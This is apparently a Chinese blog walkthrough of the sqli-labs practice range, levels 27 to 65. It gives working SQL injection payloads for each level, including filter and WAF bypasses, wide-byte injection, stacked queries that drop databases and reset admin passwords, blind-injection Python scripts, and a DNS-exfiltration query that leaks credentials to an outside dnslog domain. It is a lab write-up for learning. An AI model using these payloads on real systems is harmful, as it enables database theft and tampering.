与Less-27一样,但这里SQL语句为,注意前3行还有个双引号拼接,有点小坑,怪不得直接执行不行…
$id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
获取数据,发现这两a关闭合方式有点小trick,需要设法让多余的符号失效
?id=1%22%26%261%3d2%0auNion%0aseLect%0a1,2,(seLect%0agroup_concat(username,password%0aseparator%0a0x3c62723e)%0afrom%0asecurity.users)%0a%22
或
?id=1%22%26%261%3d2%0auNion%0aseLect%0a1,group_concat(username),group_concat(password)%0afrom%0asecurity.users%0awhere%0a1%7c%7c%22
Less-28 union select 过滤
验证注入点:?id=1%27)%26%26sleep(5)||(%27
利用闭合方式:?id=1')%26%261%3d2%0Auniounion%0Aselectn%0Aselect%0A1,2,3||('
本次过滤
$id= preg_replace('/union\s+select/i',"", $id);
双写
uniounion%0aselectn%0aselect
即可获取数据
?id=1')%26%261%3d2%0Auniounion%0Aselectn%0Aselect%0A1,(seLect%0agroup_concat(username,password%0aseparator%0a0x3c62723e)%0afrom%0asecurity.users),3||('
Less-28a union select 过滤
这关只过滤了 union select,比Less-28过滤的还少,和 Less-28一样即可获取数据
Less-29 HPP绕过白名单
验证注入点:login.php?id=1&id=1'
利用闭合方式:login.php?id=1&id=1' and 1=2 union select 1,2,3%23
这关
login.php
设置了一个白名单WAF,只允许数字,不过获取匹配的参数 $_SERVER['QUERY_STRING']
然后匹配到第一个 id
就 break 掉了。但 PHP 通过 $_GET['id']
获取是覆盖关系,即同时存在多个URL参数时,只获取最后一个。但WAF判断的是第1个,所以就可以绕过了。这种方式也叫HPP,HTTP 参数污染获取数据
login.php?id=1&id=1' and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23
Less-30 && Less-31 HPP绕过白名单
验证注入点:login.php?id=1&id=1"
Less-30利用闭合方式:login.php?id=1&id=1" and 1=2 union select 1,2,3%23
Less-31利用闭合方式:login.php?id=1&id=1") and 1=2 union select 1,2,3%23
只是和Less-29闭合方式不一样
Less-30获取数据
login.php?id=1&id=1" and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23
Less-31获取数据
login.php?id=1&id=1") and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23
Less-32 宽字节注入
验证注入点:?id=1%df%27
利用闭合方式:?id=1%df%27 and 1=2 union select 1,2,3%23
原理
客户端(如PHP,设置了GBK编码)-> 连接层(MySQL编码处理)-> 服务端(MySQL语句执行)
%df%27%65 ->
%df%27
%65 (因为前一个ascii码要大于128,MySQL才会认为需要两个字节组合,然后 %df%xx
会进行多字节编码) -> 导致%27没转义,进而导致注入获取数据
?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23
Less-33 宽字节注入
同 Less-32,Less-32是自己写的过滤,Less-33是原生的,32的好像也是只能宽字节才行。
Less-34 POST 宽字节注入
验证注入点:uname=123%df'
利用闭合方式:uname=123%df' or 1=1%23
获取数据
uname=1%df%27 and 1=2 union select (select group_concat(username,password separator 0x3c62723e) from security.users),2%23
除了SQL语句查询列数和POST方式,其他一样
Less-35 联合注入
验证注入点:?id=1'
利用闭合方式:?id=1 and 1=2 union select 1,2,3 #
获取数据
?id=1 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23
过滤了个寂寞(
Less-36 宽字节注入
验证注入点:?id=1%df%27
利用闭合方式:?id=1%df%27 and 1=2 union select 1,2,3%23
获取数据
?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23
和 Less-33 利用方式一样,只不过过滤函数从
addslashes
变成 mysql_real_escape_string
Less-37 POST 宽字节注入
利用方式同Less-34,过滤函数从
addslashes
变成 mysql_real_escape_string
Less-38 堆叠注入
验证注入点:?id=1'
利用闭合方式:?id=1';
这个和之前SQL查询语句不同的是使用了
mysqli_multi_query
,SQL语句中分隔符为 ;
,这个语句允许我们通过 ;
同时执行多个语句既然可以拼接任意语句,尝试获取版本
?id=-1';select 1,version(),3%23
发现前面就算执行为空,也不会拼接,这是因为服务端只获取第一条语句的执行结果
如果服务端没有返回每条语句执行的结果,则需要获取数据回显。
从国光那学到了一种
只在Windows系统下有效
的dnslog数据外带方式,因为 Windows下存在一种叫UNC(通用命名规则)\\192.168.123.1\xxx\
我们平常在访问smb或者域机器的时候就挺熟悉这种访问方式的,就叫UNC,如果把IP换成域名,当然也会进行dns解析。因Linux没有这种东西,所以也没法进行dnslog数据外带了
这里使用Windows搭建个sqli-labs环境(注意phpstudy默认
secure_file_priv=NULL
需要改 my.ini 在 [mysqld]
字段里增加 secure_file_priv
),然后写入?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from security.users limit 0,1),'.1di0pv.dnslog.cn\\a'))--+
即可获取数据,注意
limit 0,1
不能去掉,否则太长了会接收不到数据,不知是不是dnslog平台做了长度的限制
这里和普通的注入还有很大不同,普通注入一般只能只能 select 操作,因是执行独立的sql语句,还可以执行增删改数据库表和表数据语句,如
?id=1';create database less38;%23 ?id=1';drop database less38;%23 ?id=1';insert into users(id,username,password) values('38','less38','less38');%23 ?id=1';update users set username='less38p' where id='38';%23
MySQL root@localhost:security> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | bookstore3 | | challenges | | less38 | | mysql | | onebase | | performance_schema | | security | | sys | | xxl_job | | xxxxx | +--------------------+ 11 rows in set Time: 0.007s MySQL root@localhost:security> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | bookstore3 | | challenges | | mysql | | onebase | | performance_schema | | security | | sys | | xxl_job | | xxxxx | +--------------------+ 10 rows in set Time: 0.007s MySQL root@localhost:security> select * from security.users +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | 123 | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 15 | admin'# | 123 | | 38 | less38 | less38 | +----+----------+------------+ 15 rows in set Time: 0.008s MySQL root@localhost:security> select * from security.users +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | 123 | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 15 | admin'# | 123 | | 38 | less38p | less38 | +----+----------+------------+ 15 rows in set Time: 0.007s
最终补充一下,这几个堆叠注入都无法直接验证存在堆叠注入
Less-39 堆叠注入
验证注入点:?id=1'
利用闭合方式:?id=1;create database less39%23
闭合方式不一样,其余同 Less-38
获取所有数据库名称,验证数据库是否正常创建
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
Less-40 堆叠注入
验证注入点:1%27)%20and%20sleep(5)%23
利用闭合方式:?id=1');create database less40%23
闭合方式不一样,其余同 Less-38
获取所有数据库名称,验证数据库是否正常创建
?id=-1') union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
Less-41 堆叠注入
验证注入点:?id=1%20and%20sleep(5)%23
利用闭合方式:?id=1;create database less41%23
没有报错回显,其余同 Less-39
获取所有数据库名称,验证数据库是否正常创建
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
Less-42 POST 堆叠注入
验证注入点:login_user=admin&login_password=
1'
&mysubmit=Login利用闭合方式:login_user=admin&login_password=
1';update users set password='1' where username='admin'%23
&mysubmit=Login利用堆叠注入修改任意用户密码,即可正常登陆,然后这里还存在万能密码、联合报错时间注入问题,应有尽有
Less-43 POST 堆叠注入
验证注入点:login_user=admin&login_password=
1'
&mysubmit=Login利用闭合方式:login_user=admin&login_password=
1');update users set password='123' where username='admin'%23
&mysubmit=Login闭合方式不一样,其余同 Less-42
Less-44 POST 堆叠注入
验证注入点:login_user=admin&login_password=
1' and sleep(5)%23
&mysubmit=Login利用闭合方式:login_user=admin&login_password=
1');update users set password='123' where username='admin'%23
&mysubmit=Login没有报错回显,其余同 Less-42
Less-45 POST 堆叠注入
验证注入点:login_user=admin&login_password=
1') and sleep(5)%23
&mysubmit=Login利用闭合方式:login_user=admin&login_password=
1');update users set password='1' where username='admin'%23
&mysubmit=Login没有报错回显,其余同 Less-43
Less-46 order by 注入
验证注入点1:?sort=1'
验证注入点2:?sort=1 asc
验证注入点3:?sort=1 desc
如果验证注入点2和3的结果不一样,则表明可以注入
验证注入点4:?sort=sleep(5)
注意order by 注入不能使用联合注入,不然会报语法错误,我们先观察一下 SELECT 语句在MySQL官方的说明
SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr] ... [into_option] [FROM table_references [PARTITION partition_list]] [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [into_option] [FOR UPDATE | LOCK IN SHARE MODE] into_option: { INTO OUTFILE 'file_name' [CHARACTER SET charset_name] export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name] ... }
order by 注入可以直接跟表达式,所以注入也比较宽松,如
- 直接报错注入
?sort=updatexml(1,concat(0x7e,(select database()),0x7e),1)
- 布尔盲注
?sort=rand(ascii(left(database(),1))=116)
因为 ascii(x)=x 的返回值为0或1,在这里没法根据返回结果区分,不过直接 rand(0) 和 rand(1) 返回值不一样,然后 order by 的结果是有差异的。
另外,从卿师傅里学到一种异或方式的order by 注入
id ^(select(select version()) regexp '^5')
regex
匹配成功返回 1 失败 返回 0,1 和 0 的二进制分别是 00000001 和 00000000,与 id 字段每个id值进行异或,除非所有id值都为奇数或偶数,不然必然会导致排序发生改变,如id依次是 1/2/3/4 与1异或分别变成 0/3/2/5,与 0 异或是其本身(异或运算的特点)- 时间盲注
?sort=if(ascii(substr(database(),1,1))=115,sleep(5),0)
正常延时,顺便试试 benchmark延时
?sort=if(ascii(substr(database(),1,1))=115,benchmark(500000000,md5('1')),0)
不行,应该是 benchmark 无论如何恒返回0,执不执行无所谓,这里编译器直接优化了?
?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115), BENCHMARK(50000000,md5('1')),0) FROM (select database() as current) as tb1)
这个语句就可以正常延时,可能表名这编译器优化问题,所以就执行 benchmark 没有直接获取返回值了,而是执行了
此外,也可以通过
and xxxx
拼接语句~通过观察官方SELECT语句用法,
PROCEDURE
存储过程的语句也可以用,比如说?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
mac上这个语句用不了,win和linux环境没问题~
获取表名
?sort=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)
获取字段名
?sort=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)
报错函数因有最长返回值限制,因此要获取字段的最大长度,然后分割获取,(这里创建了一个新表
longcol
和新的字段desc
模拟数据长度大于64的场景)?sort=updatexml(1,concat(0x7e,(select column_type from information_schema.columns where table_name='longcol' and table_schema='security' limit 0,1),0x7e),1)
返回:
XPATH syntax error: '~int(11)~'
?sort=updatexml(1,concat(0x7e,(select column_type from information_schema.columns where table_name='longcol' and table_schema='security' limit 1,1),0x7e),1)
返回:
XPATH syntax error: '~varchar(255)~'
获取数据
?sort=updatexml(1,concat(0x7e,(select mid(`desc`,1,30) from security.longcol),0x7e),1)
- 这里
desc
要加反引号是因为desc
是 MySQL 内置函数,直接使用会报错~
- 不断改变 1,30 范围 ,最后变成 mid(`desc`,241,270) 即可获取该字段所有数据,当然也可以优雅些,当获取不到任何值时,就不获取了
- 如果数据中间包含很长一段空格,页面前端看着会像只返回1个空格
Less-47 order by 注入 字符型
验证注入点:?sort=1'
利用闭合方式:?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
这里注意点就是不能通过直接
'
闭合,可以 and '
闭合,也可以通过注释闭合获取数据
?sort=1' and updatexml(1,concat(0x7e,(select mid(`desc`,1,30) from security.longcol),0x7e),1)--+
Less-48 order by 盲注入
验证注入点:?sort=sleep(5)
利用闭合方式:if(ascii(substr(database(),1,1))=115,sleep(5),0)
这关关闭了报错注入,可以布尔盲注或者时间注入获取数据
import time import requests def get_data(): result = "" url_template = "http://tari.local:8888/sqli-labs/Less-48/?sort=if(ascii(substr((select email_id from emails limit 0,1),{0},1))={1},sleep(1),0)" chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' for i in range(1, 17): for char in chars: char_ascii = ord(char) url = url_template.format(i, char_ascii) time_start = time.time() _ = requests.get(url) time_diff = time.time() - time_start # 返回时间 > 5s if time_diff > 5: result += char print(result) break get_data()
不知为啥延时时间是远大于1S的
Less-49 order by 盲注入 字符型
验证注入点:?sort=1’
利用闭合方式:?sort=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),0)–+
闭合方式不一样,获取数据
import time import requests def get_data(): result = "" url_template = "http://tari.local:8888/sqli-labs/Less-48/?sort=if(ascii(substr((select email_id from emails limit 0,1),{0},1))={1},sleep(1),0)" chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' for i in range(1, 17): for char in chars: char_ascii = ord(char) url = url_template.format(i, char_ascii) time_start = time.time() _ = requests.get(url) time_diff = time.time() - time_start # 返回时间 > 5s if time_diff > 5: result += char print(result) break get_data()
这里注意
sort
后面要跟个值,不能直接接单引号Less-50 order by 堆叠注入
验证注入点:?sort=1'
利用闭合方式:?sort=1;create database less50;
和普通堆叠注入没什么区别
Less-51 order by 堆叠注入
验证注入点:?sort=1'
利用闭合方式:?sort=1’;create database less51;
闭合方式和Less50不一样,其余一样
Less-52 order by 堆叠注入
验证注入点:?sort=sleep(5)
利用闭合方式:?sort=1;create database less52;
只是无报错回显了
Less-53 order by 堆叠注入
验证注入点:1%27%20and%20sleep(5)–+
利用闭合方式:?sort=1';create database less53;
闭合方式和Less52不一样
Less-54
根据题意,限定10个语句从数据库
challenges
获取一个随机表中随机字段的值因只是表和字段是随机的,那么前面的判断闭合方式、字段个数判断,回显占位是不用算到这10次里的
闭合方式
?id=1' and 1=1--+?id=1' and 1=2--+
字段数
?id=1' order by 3--+
报错
?id=1' order by 4--+
占位符为第2/3个字段
?id=1' and 1=2 union select 1,2,3--+
获取随机表名
?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
获取随机表名的列名
?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ZZVWJ42YS5'),3--+
获取数据,其实只要三步接行了~
?id=1' and 1=2 union select 1,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),3--+
Less-55
和 Less54一样,只是闭合方式不一样
?id=1) and 1=1--+?id=1) and 1=2--+
快进到表名获取
?id=1) and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
列名
?id=1) and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ZZVWJ42YS5'),3--+
数据
?id=1) and 1=2 union select 1,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),3--+
Less-56
同Less55,闭合方式不一样
?id=1') and 1=2 union select 1,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),3--+
Less-57
同Less56,闭合方式不一样
?id=1" and 1=2 union select 1,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),3--+
Less-58
因获取结果通过代码定义的数组,数据库报错也开着,把联合注入为报错注入
获取表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
获取字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ZZVWJ42YS5' and table_schema='challenges'),0x7e),1)--+
获取key
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+
Less-59
闭合方式不一样,其余见Less-58
获取数据
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+
Less-60
闭合方式不一样,其余见Less-58
获取数据
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+
Less-61
闭合方式不一样,其余见Less-58
获取数据
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+
Less-62
本关联合注入和报错注入都不行了,需要进行盲注
但此关限制了只能在 130 步内注入表名和数据字段以及数据,有点难度
.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz
常见字符及大小写已经有65个了…
首先想到二分法,但感觉也不太行
表名
import requests def get_data(): result = "" url_template = "http://tari.local:8888/sqli-labs/Less-62/?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),{0},1))>{1}--+" chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' try_count = 0 for i in range(1, 11): left, right = 0, len(chars) - 1 while left < right: mid = (left + right) // 2 url = url_template.format(i, ord(chars[mid])) resp = requests.get(url) try_count += 1 if "Your Login name" in resp.text: left = mid + 1 else: right = mid result += chars[left] print(result) print(try_count) get_data() # 输出 # ZZVWJ42YS5 # 60
字段名
import requests def get_data(): result = "" url_template = "http://tari.local:8888/sqli-labs/Less-62/?id=1') and ascii(substr(substr((select column_name from information_schema.columns where table_name='ZZVWJ42YS5' and table_schema='challenges' limit 2,1),8,4),{0},1))>{1}--+" chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' try_count = 0 for i in range(1, 5): left, right = 0, len(chars) - 1 while left < right: mid = (left + right) // 2 url = url_template.format(i, ord(chars[mid])) resp = requests.get(url) try_count += 1 if "Your Login name" in resp.text: left = mid + 1 else: right = mid result += chars[left] print('secret_' + result) print(try_count) get_data() # 输出 # secret_VRST # 24
数据
import requests def get_data(): result = "" url_template = "http://tari.local:8888/sqli-labs/Less-62/?id=1') and ascii(substr((select secret_VRST from challenges.ZZVWJ42YS5 limit 0,1),{0},1))>{1}--+" chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' try_count = 0 for i in range(1, 25): left, right = 0, len(chars) - 1 while left < right: mid = (left + right) // 2 url = url_template.format(i, ord(chars[mid])) resp = requests.get(url) try_count += 1 if "Your Login name" in resp.text: left = mid + 1 else: right = mid result += chars[left] print(result) print(try_count) get_data() # 输出 # 3rhRLEJ2V0XsjdlUsTCS5RJs # 145
一共花费 229次,而且还是算准了字段长度,并且知道字段名前缀的前提下
网上搜了下别人的解法,tql orz
原来还有多状态这种东西,并且虽然MySQL默认区分大小写,但在用等号 where 取列名字段时,是不区分大小写的,各种骚姿势,被秀到了…
其实也是通过
substr
每位获取,只不过获取的时候,不用把每位字符(上面二分法脚本里的 chars
)一个个判断是否存在,而是通过页面返回结果来进行。但不是说这是盲注嘛?页面还是有返回具体的查询信息的,比如当 id=1时返回用户名为 Angelina(为啥不是数据库的 id 为1的用户名?因为PHP在代码层做了新数组映射),id=2时返回用户名是 Dummy,假如数据表中存在8条数据,我们把结果,假如 ASCII(SUBSTRING((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1), 1, 1))
是 90,然后ascii可见字符在 0-128,也就是 8 位二进制足以表示。我们不用一位位去匹配字符表的每个字符(上面二分法脚本里的 chars
),而是先 90 & 7 (00000111) = 2
, 90 & 56 (00111000) = 24
,90 & 224 (11100000) = 64
,然后3种与运算结果通过 case when 把与运算后的情况,弄成8种状态(因为只有3个1,返回只有8种结果),通过页面返回的三种状态,分别是 secure
,stupid
, secure
,3个状态即可知道这个字符的8位二进制组成,然后就能得出第1个字符的ascii值是90。也就是原本我们需要一个个遍历 .0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz
每个字符,根据页面返回判断是否相等,如果该表存在多于8条数据,就能变成只要3次即可获取到1个字符内容。#!/usr/bin/python3 # -*-coding:utf-8-*- import re import requests url = "http://tari.local:8888/sqli-labs/Less-62/index.php" # 改成你的地址 try_count = 0 def extract_bits(query, i, j): """ 获取query执行结果的第 i 个(从1开始算)字符的第 j 位开始的 3 个比特 """ global try_count payload = """ '+( SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark}) WHEN {0} THEN 1 WHEN {1} THEN 2 WHEN {2} THEN 3 WHEN {3} THEN 4 WHEN {4} THEN 5 WHEN {5} THEN 6 WHEN {6} THEN 7 ELSE 8 END )+' """.format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i) payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " ")) # print(payload) resp = requests.get(url, params={"id": payload}, proxies={'http': 'http://127.0.0.1:8080'}) try_count += 1 info = { "Angelina": "000", "Dummy": "001", "secure": "010", "stupid": "011", "superman": "100", "batman": "101", "admin": "110", "admin1": "111" } match = re.search(r"Your Login name : (.*?)<br>", resp.text) assert match bits = info.get(match.group(1)) assert bits return bits def extract_data(query, length): res = "" for i in range(1, length+1): b3 = extract_bits(query, i, 0) # 00000111 b2 = extract_bits(query, i, 3) # 00111000 b1 = extract_bits(query, i, 5) # 11100000 bit = b1[:2] + b2 + b3 res += chr(int(bit, 2)) return res if __name__ == "__main__": table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10) print("table_name:", table_name) column_name = "secret_" + extract_data( "substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4)", 4 ) print("column_name:", column_name) secret_key = extract_data("select " + column_name + " from challenges." + table_name, 24) print("secret_key:", secret_key) print("Done. try_count:", try_count) # 执行结果 # table_name: ZZVWJ42YS5 # column_name: secret_VRST # secret_key: 3rhRLEJ2V0XsjdlUsTCS5RJs # Done. try_count: 114
过于秀~
Less-63
用Less-62多状态同 Less-62
Less-64
用Less-62多状态 payload 改一下闭合方式即可
payload = """ SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark}) WHEN {0} THEN 1 WHEN {1} THEN 2 WHEN {2} THEN 3 WHEN {3} THEN 4 WHEN {4} THEN 5 WHEN {5} THEN 6 WHEN {6} THEN 7 ELSE 8 END """.format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
Less-65
用Less-62多状态 payload 改一下闭合方式即可
payload = """ \"+( SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark}) WHEN {0} THEN 1 WHEN {1} THEN 2 WHEN {2} THEN 3 WHEN {3} THEN 4 WHEN {4} THEN 5 WHEN {5} THEN 6 WHEN {6} THEN 7 ELSE 8 END )+\" """.format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
总结
虽说用sqlmap是没有灵魂的,不得不说sqlmap是一款是否优秀的开源sql注入工具,为啥说没有灵魂?纯手工刷完靶场后,发现sqlmap给我们隐藏了很多很多的注入细节,所以练习不建议使用~